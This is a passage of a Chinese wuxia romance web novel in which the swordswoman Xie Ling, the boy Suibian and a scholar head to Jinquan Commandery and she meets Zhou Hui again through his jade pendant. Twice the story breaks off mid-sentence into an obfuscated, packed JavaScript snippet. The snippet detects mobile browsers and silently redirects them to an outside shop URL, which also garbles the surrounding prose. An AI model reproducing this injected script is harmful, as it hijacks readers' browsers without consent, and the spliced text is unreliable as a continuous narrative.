祝修竹却觉得她对自己过分客气了,摇摇头:“想必这玉佩对谢女侠来说很重要。” 谢泠将玉佩放回袖中,点点头:“一位朋友送我的。”这可是用五十两黄金换来的呀,想到这儿,又伸手将玉佩往里塞了塞。 祝修竹将她的动作尽收眼底,犹豫了一下还是问道: “谢女侠有喜欢的人了吗?” 谢泠摇摇头:“......还没有。” 男女情爱之事她也不是很懂,在山上时她也不爱看那些情情爱爱的画本,更喜欢看侠客行这些。 祝修竹觉得也是,嘴角不自觉上扬,点点头没再说什么,只是脚下的步子慢了一些。 ...... 之后几日,谢泠就在祝府客房暂住,肩上的伤因为服下玉肌丹的缘故,已经看不到伤口了,且慢每日都有上好的牛肉吃,可是过了几天好日子。 那日午后,大壮曾带着随便来向谢泠赔礼道歉,谢泠笑了笑并没有接受,说他只是知道怕了,而不是知道错了。随便气得又要和她过招,被大壮一脚踢到了门外。 祝公子得空便会送些书来,谢泠选了一些爱看的,练完剑偶尔看上几眼,感觉自己也有了一些读书人的气质。 随便每日都会来,一开始说是找且慢玩,再后来就开始看她练剑,最近几天不知从哪儿淘来一把桃木剑,非要和谢泠过上几招,结果自然是撑不过三招。 有一天晚上,谢泠正在擦拭孤光剑,随便走了进来,说愿意和她一起走。 谢泠没问原因,只说那明天一早就出发,随便一听又开始有些慌张: “这么着急,我...我总得收拾收拾。” “还收拾什么?在祝府白吃白喝这么多天,还收了人家一把剑,你脸皮比那城墙还厚!” 随便被说得脸红一阵白一阵的,但还是咽下了这口气,君子报仇,十年不晚,他别过头,从怀里掏出一根编得有些粗糙的剑穗递到谢泠面前:“给你的。” 谢泠瞥了一眼,没接:“这什么?” “剑穗啊!你一个剑客这都没见过吗?”见谢泠笑着不说话,他将剑穗放在桌上,后退一步朝谢泠郑重行了一礼:“之前是我不对,请谢女侠带我一起闯荡江湖。” 谢泠掏掏耳朵:“没听清,再说一遍。” “谢泠!你别太过分!”他咬牙切齿地说完,又看向门外,大壮几人正扒着门框,对他挤眉弄眼。 少年吸了一口气,再次行礼,低下头声音却格外洪亮: “请谢女侠!带我闯荡江湖!” 谢泠这才起身,拿起那枚剑穗,挂在了剑柄上。 ...... 临行前,祝公子又送给谢泠几本书,说都是些儒家经典,闲来无事可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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谢泠摇摇头,“朝堂里的人和事,离我们远得很。” 她将地图慢慢卷起,收进包袱里,就这么一大一小,一匹马,向城门外走去。 ...... 悬泉驿,客房。 周洄正在看寄来的信件,脸色有些难看,他那个二弟越发不知收敛了,舅舅早已退居一方不问政事,还能遭到御史弹劾。 他伸手在腰间摸索,却忽然想起玉佩早已送人,那玉佩是母妃遗物,每次心绪不宁时,抚摸着玉佩上的水纹都能让他静下心来,恍惚间,少女那晃动的马尾出现在他心头,摇摇晃晃中,那玉佩好似又回到了手中。 “诸微,先不急着回京,舅舅来信请我们去喝周克的喜酒。” 诸微抬起头:“那......” “先去金泉郡。” 7.不过是个负心薄情之人 要不都说父母辛苦,孩子难养,谢泠此次算是体会到了,随便走了还没五里地就开始哭爹喊娘,坐在地上死活不愿动弹,谢泠抽出长剑,剑尖指向他的鼻尖:“起来。” 随便两眼聚焦在剑尖片刻,便又开始哭闹:“你杀了我算了!”他两条腿在地上乱蹬:“明明有马为什么不骑,你想过马的感受吗?” 谢泠被气笑了,拿剑尖戳了戳他的马尾:“这点耐力都没有还练剑呢?”说着不管他,牵着马便转身往前走:“边走边默念我教你的剑经,到驿站还没背会今晚就喝西北风吧。” 眼见撒泼无用,随便立马收敛了神色,双手一撑站了起来,手心在衣服上蹭了蹭,把地上的包裹又重新挂到自己身上,磨磨蹭蹭地跟了上去,嘴里还有气无力地嘟囔:“剑未动,心先至......” 就这样一边闹腾一边赶路,总算在天黑之前走到了驿站。 随便两眼放光,拼着最后一丝力气跑到驿站门口,抬头看着上面的大字,朗声念道:“走马驿。” 谢泠一巴掌按在他脑袋上:“那是赴冯驿。” 随便怒目斜视也不敢顶嘴,旁边一个声音突然插了进来:“姑娘说得也不对,那个字应该念平。” 两人同时扭头,一个书生不知何时站在了他俩旁边,身后还背着个竹箱。 那书生继续说道:“取自东坡先生浩浩乎......诶,别走啊。” 谢泠伸手揽住随便的脖子就往驿站走:“你也觉得这种人很讨厌,对吧。”随便向后瞥了一眼,用力点点头。 进入驿站,谢泠让随便先去找位置坐下,自己来柜台点菜,这小二一看就是个会做生意的,见谢泠腰间别着一把剑上来就叫了一声女侠,“咱是打尖儿还是住店?” 谢泠觉得这小二有点眼色要了两间房后,手肘抵在柜台上便开始闲聊:“金泉郡最近有什么大事吗?” 这驿站的人明显要比其他驿站多一些,虽说前几年朝廷下令将驿站改制成客栈,寻常老百姓也可路过歇息,但也不至于这么多,随便此时还未找到空位,正用他那水汪汪的大眼睛盯着一对刚坐下的夫妇,只可惜这夫妇二人正含情脉脉,互相对视,丝毫没有感受到有旁人存在。 小二翻着账本,随口应道:“是那周家二公子周克要成亲了。那周老太公虽说已从朝廷退了下来,可身份还在那放着,估计不少人是前来观礼嘞。” “周家?”谢泠垂下眼,不知在想些什么,方才那书生趁机凑了上来:“怎么,姑娘认识周家的人?” 谢泠看着眼前这无故殷勤的书生,眯了眯眼不想理他,准备再要壶酒,如今兜里有钱了自然是可以喝点好的,总不能一直是什么竹叶清,她轻拍桌子:“小二,咱们这儿最贵的酒怎么卖?” 小二一听抬起头扬起笑脸:“最贵的当属这江南杏花春,二十文一壶,游侠剑客路过都爱要上一壶。” 谢泠微微一笑,点点头:“好,那来壶清酒。” 说完头也不回地去找随便,恰好此时随便也占到了位置,谢泠走过去摸了摸他的脑袋:“辛苦了。”随便目光还在那对含情脉脉的夫妇上,嘴角一撇,不知道在嘟囔什么,反正不是什么好话。 “不介意拼个桌吧,”没抬头只听声音谢泠就知道又是那个烦人的书生,还未开口,他便自觉地坐了下来: “在下金泉郡书生游南星。” 谢泠看了随便一眼,在孩子面前总不能表现得太不近人情,只好点点头,此时小二端了酒菜上来,随便饿得没等饭菜放下就开始拿筷子夹菜。 “姑娘也是要去金泉郡?”游南星自顾自地倒了一杯茶,看着谢泠,谢泠没好气地说:“有事?”有的人看一眼就知道跟自己不对付,比如这个游南星,没半点眼缘。 游南星端起茶杯轻抿了一口,又放下,垂下眼低声道:“我愿意出十两银子,求姑娘帮我一个忙。” 这话一出,随便嘴里的鸡腿都不吃了,凑过来:“啥事?你求我呗,我便宜,五两就行。” 谢泠抬手将他按回去:“吃你的鸡腿。”随即看向游南星:“什么事?杀人放火我可做不来。”再说谁家买凶才肯出十两银子,不过那也是十两雪花银啊,谢泠稍微坐直了些。 “我想让姑娘带我见一个人。”游南星双手交叉放在桌上,声音有些低沉。 “谁?” 书生抬眼看着她,缓缓开口:“周家二公子周克未过门的妻子,随心岚。” ...... 马车驶过青石路,缓缓在驿站前停下,诸微掀起帘子:“公子,今晚要不暂在驿站歇息?” 周洄似是刚醒,揉了揉眉心:“金泉郡没多远了,赶路吧,舅舅那边......”话未说完便听到不远处少女清脆又带着怒气的声音:“不做!不做!你这不是拆人家姻缘吗!你咋不让我把新娘子给你偷来呢!” 这个声音......周洄起身上前将半个身子探出马车,驿站门口来来往往的人不少,却唯独没有自己想见的那个人,他垂下眼坐了回去:“直接去金泉郡。” ...... 赴冯驿后,一个小土坡上。 谢泠没想到这书生如此穷追不舍,自己当场就回绝了他的请求,结果他硬是不肯放过自己。 “我不是要抢亲,我只是,只是想见她一面。”游南星不知如何解释,显得有些着急,随便坐在一旁打量着他开口:“人家都要成亲了,你才想起来见面,早干嘛去了?” 谢泠点点头,十二岁小孩都比你懂事。 游南星叹了口气,向他们说起自己和随心岚的故事:“我与姑娘都是金泉郡人士,我家境贫寒,十五岁中了秀才后便去随府做了个公子陪读,日子久了,与随姑娘也逐渐熟了起来,三年前,我远赴贡院参与春闱,可惜未能得中,自觉惭愧,便在贡院附近住下,想着再试一回。” “这次中了?”随便歪着头问他。 游南星有些窘迫地笑了笑:“也没中。” 随便噗一声笑了出来:“害,白忙活不是。”收到谢泠的眼神刀后连忙坐直了身体:“然后呢?” 游南星垂下头:“这三年她总会写信给我,信中常常勉励我,让我安心读书,说会在家等我回来。可几个月前她却突然断了联系,我虽然心有疑惑,秋闱在即,也不敢回来,只得安心准备考试。哪知刚考完,就收到了周府的来信,说随姑娘已和周家二公子定下婚事,让我往后不要再寄信了。”游南星握了握拳:“她既有了更好的选择,我自然为她开心,只是我还是想再见她一面,跟她道个别。” 随便抓起一把土扔在地上:“这婆娘真不是个人!水性杨花不说还嫌贫爱富!既然变了心,就不要写什么信来哄人,这不是让人家白等吗?” 谢泠瞥了他一眼,不愿理他,看着游南星问道:“你赶考的盘缠是她给你的吧?” 游南星垂下头:“......是,这几年我靠抄书写对联攒了些银子,这次见面就想着一起还给她。”说到这他抬头看着谢泠,与其有些急切:“我真的没有别的心思,谢姑娘,我去过随府好几次了,都被家丁赶了出来,三天后 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第二日,三人一同赶往金泉郡,路上随便把重物都放到了游南星的竹筐,自己倒是落得个一身轻松,谢泠见状要打他,游南星却拦住了:“不碍事的,你们愿意帮我,我已经很感激了。” “就是!”随便快步走到游南星面前踮起脚拍了拍他的肩膀:“你放心,游兄弟,这事儿包在我随便身上,那婆娘要是有什么苦衷还好,若真是变了心,我非骂她个狗血淋......啊!”谢泠拎着他的耳朵就往前走:“人都没见着你就在这信口开河?再这样满嘴胡话,我就让且慢抓烂你的嘴。” 随便气鼓鼓地不说话,谢泠回头看了一眼游南星,正对她微微一笑。 ...... 金泉郡,载春楼,二楼窗边。 “表哥此次能来真是再好不过了,原以为你事务繁多,定抽不开身。”周克看着对面比自己大不了几岁的周洄,脸上挂满了笑意。虽说长大后见面少了,可小时候一同长大的情分,他却始终记着。 周洄喝了口茶笑道:“你成亲这么大的事我自然是要来的,听说这门婚事是你自己选的?” 周克有些难为情地挠了挠头:“是,我求父亲去提的亲。” 他少年时就心仪那随家小姐,如今能够得偿所愿,心中自然欢喜,只是......周克似是想到些什么,脸色一凝,目光不自觉看向窗外,正好瞥见楼下三人经过,其中一人竟是那书生游南星,他连忙起身:“他怎么还敢回来!” 周洄闻言也顺势望向窗外,一眼便看到了那位正和书生侃侃而谈的少女,身边还有个活泼好动的男童,那男童不知道说了些什么,少女有些佯怒,伸手就要打,被他嬉笑着轻巧躲过。 周克自觉失礼,连忙准备赔罪,却发现周洄的目光也在那三人身上,便出声问道: “表哥也认识那人?” 周洄收回目光:“你也认识?” 周克轻哼一声,坐回桌前:“不过是个负心薄情之人!” 周洄笑了笑,那他认识的定然不是谢泠,这之后自己这位表弟的脸色再也没了刚来时的春风得意,说话间也有些心不在焉,没坐多久就推说有事,借故离开了。 周克走后,他又要了一壶茶,那书生想必和随家小姐有些过往,到底还是年轻,藏不住一点儿心事,做大事就要沉得住气。 诸微从楼下上来: “公子,和月楼禀报有人偷拿了您的玉佩,我想着可能是谢姑娘,先让人稳住了。” 周洄起身笑了笑:“那过去看看吧。” 8.爹!我和娘找你找得好苦啊 姬无月正斜靠在窗边,一双纤长白皙的手不紧不慢地翻着账本,作为金泉郡最大的酒楼,和月楼借着周二公子的亲事,这个月可是好好赚了一笔。 听完一旁郝掌柜的禀报,她啪一声将账本合上,随意地扔在案台上,冷笑一声:“郝胜意!你脸上那俩窟窿是白长的?!公子眼下人就在金泉郡,还需要用玉佩传话?”随即起身绕到郝掌柜面前:“再说那玉佩本就没什么特别,金泉郡首饰铺子找得出同等样式的少说也有七八家,这种骗子打发走了便是。” 郝掌柜也不敢顶嘴:“可是......小人看了那玉佩上的水波纹,真的和画像上分毫不差。” 姬无月眯起眼,抬起手放在唇边,腕上的白玉镯顺着滑下了去:“谁带过来的?” “一个女人还有个小孩。” ...... 游南星说要先回家一趟,谢泠便带着随便来到街上闲逛,本想打听些消息,抬头看到了和月楼的牌子,“凭此玉佩,大朔境内,凡是带和字的铺子都会对你有求必应。” 正好试试这玉佩到底值不值五十两黄金,谢泠拽着随便就要往里走,随便瞪大双眼,身子往后撤:“谢泠,你不会真是什么落难公主吧,这店也敢进?” 谢泠抬手就给了他一巴掌,不过这和月楼确实气派,一楼大堂此时已是酒气蒸腾,人声鼎沸,大大小小的桌子旁都坐满了食客,跑堂的小厮在中间穿梭着送菜。 二楼西侧是雅间,中间大厅垂着珠帘,看不真切,似有一些琴音传出,东侧还有木梯通往更高一层,不过木梯尽头有一雕花木门紧闭,无法窥探一二。 小二见有客人,连忙迎了上来:“二位客官真不凑巧,今天我们大堂都坐满了。” 谢泠看着这小二,居然没有因为他俩的穿着而有半分懈怠,笑着从袖中掏出那枚玉佩,递到他面前:“我有些事想打听一下。” 随便抬眼盯着谢泠,心里直犯嘀咕:这女人不会以为那破玉佩价值连城吧?看成色还不如那苦秀才给的,但是看着她那副镇定自若的样子,又觉得她肯定有什么大背景,先前还微微佝偻着的背也直了起来,目光扫过一楼的食客,不过也都是些普通人。 谢泠此刻藏在衣袖的左手都快捏出冷汗了,万一人家根本不认识这玉佩,自己怎么走出去会比较体面? 那小二保持着微笑,这年头骗吃骗喝的不少,敢来和月楼打听消息的还是第一个,还拿着一块不值钱的玉佩,正准备客气地将他们赶出去,别耽误自己去收小费。 在一旁看了一会儿的郝掌柜忽然上前接过玉佩,温声问道: “姑娘从何处得到的这枚玉佩?” 谢泠眨眨眼,看来有戏:“是一位朋友送的。” 随后这二人就被请到二楼暂且歇息,结果等了一炷香都没人来,谢泠有些急了,想要出去,却发现房门被锁了,回头看见随便还在吃,气上心头:“吃吃吃,什么时候了还吃!” 随便哪里吃过这么好吃的糕点,嘴里一边吃一边说:“真的好吃,不信你尝尝。”谢泠顺手接了一个,好像确实还不错,也坐下吃了起来,不一会儿两盘糕点被这师徒俩吃完了。 吃完糕点,随便抹了抹嘴,心满意足地打了个嗝,走到房门前推了推发现确实推不动,跑会谢泠旁:“我们不会被灭口吧?” 谢泠伸手按了下他的脑袋:“现在知道慌了,刚才吃得不是挺开心吗?”随便还想说点什么,谢泠手指放到嘴边,示意他不要说话,有人来了。 姬无月走到门前停下脚步,那玉佩她方才仔细看过了,确实是真品,只是怎么会落到一个女人手里,她瞥了一眼身旁的郝掌柜,低声问道:“此事告知诸微了吗?” 郝掌柜点点头:“方才就已经派人去了,诸微大人说先将人稳住,他去禀报公子。” 姬无月没说什么,伸手推开门换上了一副笑意盈盈的脸:“哪位是谢姑娘?” 谢泠起身走到她面前行了个礼:“我就是。”随便躲在她身后探出一个头:“这个姐姐好漂亮啊。” 姬无月闻言抬手捂嘴轻笑,头上的发钗随着动作轻轻摇晃,叮当作响:“这位小少侠倒是会说话。”说着眼神忽然流转到谢泠身上,面上还是笑着,话却毫不客气:“只可惜大人不学好,偏要行这鸡鸣狗盗的勾当。” 谢泠听到这儿,眉眼间带了些怒气,还未发作,随便窜到她面前,指着姬无月破口大骂: “你这婆娘怎么说话呢!谁不学好!谁是鸡?谁是狗!” 姬无月笑了笑也不恼:“谁偷的玉佩说谁。” 随便气得就要上去给她一拳,被谢泠拦住: “你上来一句话都不问,无凭无据就说我是偷的,是不是有些说不过去。” 姬无月将那玉佩拿出来,眼神讥诮: “你知道这玉佩的主人是谁吗?就敢偷?他眼下还在金泉郡,你就算胆子再大也得换个地方再销赃吧?” 谢泠眨眨眼:“周洄也在金泉郡?” 姬无月听到少女口中说出的名字,唇线紧绷,神色一凝,此时郝掌柜上前小声禀报:“公子到楼下了。” 她看了一眼谢泠,想了想还是行了一礼:“刚才多有得罪,劳烦姑娘在此稍作等候。”说完转身离开,却也不忘让郝掌柜将房门锁上,眼下身份不明,还是稳妥些好。 和月楼门前,诸微侧头看了一眼周洄,一路走来,公子唇角的笑意就没收敛过,玉佩之事各 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姬无月抬手猛拍自己额头,稳是稳住了,只不过是拿锁稳住的,想到这儿她连忙跟了上去,快步走到周洄身侧,低声地将刚才的事,大事化小小事化了轻描淡写地给周洄讲了下,周洄停下脚步侧头看着她,又瞥向一旁别过脸的诸微,声音微冷:“胡闹!” 走到二楼厢房门口,周洄看着门上那明晃晃的铜锁,闭了闭眼,不愿说话,一旁的郝掌柜连忙上前将门打开。 ...... 谢泠此时耐心已经到了极点,听到门外有声音,冲上去劈头盖脸就是一顿骂:“都说了!不是我偷的,大不了我不要了不行吗?你们别太——”少女看着眼前之人熟悉的面孔,脸色一片涨红,眼中闪过一丝惊喜:“你怎么来了?” 随即又忍不住生气地说:“你那玉佩什么玩意儿,净给我找麻烦!” 周洄一脸歉意地笑了笑:“对不住,是我没传达到位,让你受委屈了。” 身后的姬无月一脸微笑地盯着诸微,诸微不动声色地往一旁挪了挪。 随便从椅子上跳下来,来到谢泠旁边,拽着她的袖子,仰起头怯生生地问:“娘亲,他是谁呀?”这男人看着就不像什么好人,自己得为修竹哥排除一切障碍,话一出口,不光对面那几人面色一变,连谢泠都扭头盯着他,看着谢泠眼中的杀气,又想到刚才的事,随便缩了缩脖子,小声问道:“他,他该不会就是送你玉佩那人吧?” 周洄目光随意地打量着眼前的小孩,眼中看不出别的情绪,随便却只觉得后背发凉,此时若是自己再不做点什么,很有可能一会儿因为左脚迈出和月楼而被暗杀,心一横,扑通一声跪在地上,抱着周洄的大腿就开始干嚎: “爹!我和娘亲找你找得好苦啊!” 9.周二公子不是那种不讲理的人 谢泠此刻恨不得自己没长耳朵,这样就不会听到如此大逆不道的话,瞥见随便还想开口,连忙捂住他的嘴,干笑道:“小孩子,不懂事!”随便被她捂得瞪起大眼,眼珠圆溜溜地在这俩人之间打转,肯定有猫腻。 姬无月伸手将碍事的诸微推到一边,上前走到周洄身侧开始打圆场:“哎呀呀,都是误会!我就说谢女侠这一身,”说着眼睛上下飞快扫过身穿粗布麻裙的谢泠,目光停留在她的佩剑上:“这一身好武艺和这长剑定然不是那鸡鸣狗盗之辈。”说着又眉头紧皱好似生气般看向一侧的郝胜意:“郝掌柜,我就说你那俩眼是白长的吧!你——!” “够了。”周洄轻轻瞥了一眼身侧,姬无月立刻收声,躬身向后退去,还贴心地带上了门。 房门一关,她顿时松了口气,转过身盯着被关到门外一脸不解的诸微:“做什么这副表情?” “公子让咱们走了吗?”诸微眉头紧皱,生怕这女人又会错了意,到时候受苦的还是自己。 姬无月扯了扯嘴角,歪头看着他:“这点眼色都没有吗?” 郝胜意低头偷笑,侧身向前伸手:“二位要不先去三楼?我已让人备好了茶点,想必诸微大人也有话要说。” 诸微面色一冷,低声说了句多事,脚步却已转向通往三楼的木梯,姬无月看着那个黑色的身影,嘴角微微扬起,走到郝胜意旁拍了拍他的肩膀:“辛苦了。”说完摇曳着身姿,脚步轻盈地上了三楼。 ...... 谢泠也不懂为什么突然就只剩他们三个人了,但是一直杵在门口也不是个事,便侧身让他落座:“坐下说吧,它这儿的糕点还挺......”谢泠回头看到桌上碎渣都不剩的两个光盘,闭了闭眼,只觉得气有些难顺:“先坐。” 周洄难掩笑意地看了她一眼,坐到桌旁:“喜欢的话一会我让人再给你拿些。” 随便两眼放光凑了上去,双肘放在桌面,两手拖着脑袋,眼神中带着欣赏:“啧啧啧,方才我就想说了,谢泠怎么会认识哥哥您这种贵人。”见周洄的脸色并无变化,又连忙补了一句: “虽然气质天差地别,可你俩站在一起我不知道怎么,就有一种家的感觉。” 这般马屁功夫就是周洄也没忍住笑了,抬头看向谢泠:“看来小谢女侠这次江湖游历,收获颇丰啊。” 谢泠顺势坐下,狠狠踩了随便一脚:“再乱说,我把你头拧下来。” 随便瞥了一眼这个不懂自己良苦用心的女人,转头又笑嘻嘻地看着周洄,指了指空盘:“有钱哥哥,这个绿色的糕点我想多要一盘。” 周洄点点头,朝门口扬了扬下巴:“想吃什么直接和郝掌柜说。”随便飞快点头,一声得嘞就冲到门外,然后又猛然转身,轻轻将门带上,双手往后一背,大摇大摆地下楼了。 “你这样会惯坏他的,日后我可没那么多银子让他如此奢侈。” 谢泠倒了杯茶递到他面前,周洄没有接而是看着她的左肩: “伤口好些了吗?” “还在被人追杀吗?” 两人相视一笑,对于那些过去之事不再多提。 周洄摩挲着茶杯,抬眼看她:“你不好奇我的身份吗?”还以为再次重逢,她会对自己刨根问底,可是她什么都不问,倒是让他有些怅然。 谢泠摇摇头:“问那些做什么?你想说便说,我认识的是周洄这个人,又不是经历。”说着她忽地倾身向前,手指轻敲桌面,盯着他的眼睛:“你不会是什么十恶不赦的大坏人吧?”没等周洄反应她起身背对着他,双手环胸:“我已经把你当朋友了,可你要是做了什么很坏的事,仇人找上门来,”她转过身,身后的高马尾随着摇晃,眼神一眯:“我可不会帮忙。” 周洄只听得少女叽叽喳喳说了一堆,脑中却只留下了朋友这两个字,嘴角扬起,仰头看着她: “我也当小谢女侠是朋友了。” 谢泠撇了撇嘴,转过身,单手握拳放在嘴边轻啃着指节,这人看着,还是很奸诈。 “想什么呢?” 声音突然从耳畔响起,谢泠侧头发现周洄不知何时起身,正站在她背后侧身探头看着自己,下意识脱口而出:“想你会不会再次害我。” 周洄脸色一凝,收敛了笑意,背过身不说话。 谢泠见状忙解释:“我不是那个意思,别多想,你当时利用我我自然很生气,可我知道那是你当时能做的最好选择,只是有些难过你为什么不同我商量,也不信任我,就算带着你,我也能对付那些刺客,最多就是比那时受伤重点而已。” 谢泠看那背影还站在原地,觉得也太没道理了,明明该生气的是自己怎么反而他先不理人了。 周洄并不是生气,他太了解自己了,哪怕是再来一次,他也不会赌谢泠能带着自己摆脱那些龙虎卫,这种卑劣与少女的坦荡放到一起让他觉得自己一文不值,又忽地更为卑劣地生出了一丝庆幸,庆幸她是这般不一样的人,才能再次重逢,成为朋友。 想到这儿,他将玉佩从怀里取出,转身递到她面前:“利用你是我不对,我向你道歉,之后不会了。”周洄盯着她的眼睛,藏在袖中的手握紧,头一次感到紧张,害怕对方的反应不是自己想要的。 谢泠没想到他这么认真,反倒让她有些拘谨,随意地拽过玉佩,垂在指间,打量着说:“你确定没哄我?这玉佩真有那么厉害?不会整个大朔境内只有这一家带和字的铺子吧。” 周洄向前一步摇摇头,随即从她手中接过玉佩,俯身再次系在她腰间,轻声解释:“这个玉佩只是花纹比较特殊些,做工玉料都很常见,你随身戴着也不碍事的。” “好吃的绿豆糕来了!”随便举着满满一盘绿豆糕推门而入,看到眼前一幕,又不留痕迹地飞快转身:“郝掌柜,这绿豆糕没熟啊!”步伐稳健还不忘勾脚将门带上。 ...... 随便还是被谢泠拽着耳朵拉回了楼上,看了眼一旁正在浅笑的周洄,随便只觉得自己应该在桌底。 “你来和月楼是想问什么事?”周洄抬眼看着谢泠。 见终于切入正题,谢泠手搭在桌上凑上去小声将那苦秀才的事说给周洄听,随便在旁还不忘补了一句:“不是那女人水性杨花,见异思迁就是那周家二公子横刀夺爱,不知廉耻!” 谢泠瞪了他一眼:“会这么多成语啊。” 随便还以为在夸他,挠了挠头嘿嘿一笑:“我都是听说书先生这么讲的。” 谢泠无语凝噎,怪不得都是些骂人的话,周洄眉头轻挑,喝了一口茶淡淡开口:“我觉得那位周家二公子应当不是那种人。”自家表弟的名声还是要维护的,虽然他确实不知道这门亲事还有这么多隐情。 “怎么?”随便脸色一凝:“难道是有钱哥哥的亲戚?” 谢泠伸手将他按了回去:“吃你的糕点。”又看向周洄,意外深长地问了一句:“真是你亲戚啊。” 周洄抬手扶额,似是不愿多讲: “有点关系......远房亲戚。” “怪不得,你是来喝他喜酒的呀,那书生一直想见随小姐一面,可我总觉得他说话有些遮掩,所以还是想先见随小姐一面。”谢泠单手支着脑袋做思索状,周洄坐在对面静静看着她,少女眼神放空,时而咬着下嘴唇,时而又皱起眉头。 随便的目光却落在这位有钱哥哥身上,心中叹气,修竹哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054937|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么看也比不过啊,又看向谢泠,也未必,眼下她看着可没这心思,随即又觉得自己真是操碎了心,重重地叹了口气,那两人同时转头看向自己。 他连忙直起身:“那不是有钱哥哥的亲戚吗?要不帮忙问一下?” 谢泠点点头:“我想先问下游南星的事,他自幼就在金泉郡长大,街坊邻居什么的肯定都了解他。” 周洄想了想说:“不如让郝掌柜过来,他是本地人,又整日在柜台,或许知道不少消息。” ...... 三楼,雅间。 姬无月手指敲着桌面:“公子和那人聊这么久?什么关系啊?”她偷偷瞥向一旁的诸微,试探地问了一句:“红颜知己?” 诸微抱着剑靠在窗前:“不清楚,我过去的时候他俩已经认识了。” 那时公子正被龙虎卫追杀,却还是命自己返回除掉一波龙虎卫后才动身上路,结果走到半路又调转方向,折返回了风波亭。 姬无月捂嘴笑出了声:“不错,不错,看来公子被那老头子,”见诸微嘴角一抿,改了口:“当个闲散王爷也没什么不好的。” “别忘了,”诸微走到她身侧:“还有个人在大牢受苦呢。” 姬无月收起笑脸,正欲说些什么,门外响起敲门声:“姬姑娘,诸微大人,公子让咱们一块过去。” “知道了。”姬无月忽然眯起眼瞪着眼前的男人:“扣我的钱你得赔一半。” 诸微从怀里掏出一根精致的洒金莲花珍珠簪,随意地放在桌上:“来的时候买的,要银子一分没有。”说完向门口走去。 女人拿起珠簪,打量了一番,摇摇头,嘴上说着没品味,还是将自己头上的金钗取下,换上了新簪子,对着镜子欣赏了一番,脚步轻盈地跟了上去。 ...... “这游南星是我们这儿的秀才,早些年确实在随府做过陪读。”郝掌柜恭敬地站在一侧回话,谢泠和周洄在桌旁坐着,诸微与姬无月站在俩人身后,随便跳到椅子上,双手抱着小腿,一边踮脚一边来回摇晃。 “人品如何?”谢泠向前微微倾身询问:“他跟随小姐真的是两情相悦吗?” 郝掌柜摇摇头:“倒也没听说他有什么惹人厌的地方,不过此次会考前都在传,他会中举,有同乡人回来说,他与那当地州牧走得密切。” “州牧?”谢泠对这些官名并不熟悉,周洄一旁解释说秀才参加秋闱都要到各地的省城贡院,金泉郡隶属江州,要去的就是江州省城。 州牧便是这整个江州最大的官。 谢泠听完小声在周洄耳边问:“比郡守大吗?”周洄笑了笑点点头。 “他怎么会认识这么厉害的人物?”谢泠眨眨眼,上次见到清水郡郡守就觉得是很大的官职了。 姬无月轻笑了一声,缓缓开口:“想必是这位江州牧家里有位掌上明珠吧?” 周洄手指轻敲着桌面,心下了然,谢泠完全没理解,看向随便也是一头雾水,和自己大眼瞪小眼,突然感觉有些欣慰。 “不如我先安排你和随小姐见上一面。” 周洄看向谢泠,若是太早为自己表弟说话,倒显得有些护短了,不过还是添了一句: “周二公子待人和善,不是那种不讲理的人。” 谢泠刚要点头,一个下人急匆匆地敲门,郝掌柜过去将门打开:“慌什么,没看见公子在吗?” 那下人面色慌张,此刻也来不及理会郝掌柜,从他胳膊底下钻过去来到众人面前: “公子,周,周二公子快将南河巷那书生打死了,您......您快去看看吧!” 周洄闭上眼,只觉得胸中气息难平。 10.我下手只会比周克更重 金泉郡,南河巷。 周二公子此刻正跨坐在那书生身上,袖子向上卷起,露出一截结实的小臂,嘴里骂一句,手中拳头便狠狠砸下一次,那书生早已是鼻青脸肿,分不出模样,围观的人却只敢小声议论,无人上前阻止。 谢泠拨开人群,看到这幅景象只觉得气血上涌,单手提着周克的后领一把将他拽了起来,没等他反应过来,朝着后背抬腿就是一脚,那周家二公子就这样被踹到了地上,周围人顿时倒吸一口凉气。 “金泉郡是没王法了吗,你凭什么打人!” 随便跑过来将游南星扶起,一脸怒意地看向周克。 游南星见二人前来救他,有气无力地伸手:“谢女侠,莫要因我和他起了争执。” 周克此时正在气头上,撑地起身,也顾不上什么名士风流,大步走到谢泠面前: “你谁啊,在这儿多管闲事。” “欺压无辜百姓怎么就算闲事!” 谢泠回头看了眼不成人样的游南星只觉得一口气难以咽下: “他不过是想见心上人一面怎么了!” 周克气得脖子涨红,眼神在她和游南星之间转了一圈,冷笑道: “我说怎么忽地窜出个人来帮他,合着你们是一伙的啊?怎么,你又是哪家的小姐?跟这酸秀才穿一条——” “周二。” 一道清冷的声音自身旁传来。 周克闻言瞬间噤声,看向一旁,周洄不知何时也来到这里,脸上早已没了在茶楼时的笑意。 表哥一定生气了,否则不会如此叫他。 诸微将周围人都散去,谢泠从随便手里接过游南星,掀起他一条胳膊搭在自己肩上。 周洄瞥了周克一眼,上前解释:“这其中肯定有什么误会,周克他不是那种冲动之人。” 谢泠看着周克在一旁憋着一肚子气又不敢发作的样子,只觉得周洄绝不会是什么远房亲戚,笑了笑: “你是他亲戚当然这么说了。” “我并非偏袒谁,只是认为凡事须得弄清楚再评对错。”说着他看向那个气若游丝的书生: “你不如先问问他,可有什么事未曾对你如实相告。” “就算他有错,难道就要往死里打吗?你们这些有钱人简直欺人太甚!” 随便在一旁气鼓鼓地盯着那个叫周克的男人,只恨自己没本事,要不然非要上去给他一拳。 “你自己没钱怪我了?你知不知道你们护了个什么玩意儿!” 周克上前一步正要理论一番,被周洄伸手拦着: “怎么,还嫌不够丢人吗?” 周克喘着粗气不敢说话,谢泠看着周洄淡淡开口: “你们自己的家务事自己处理吧,我先带他去医馆。”说着转头看向随便:“走了。” 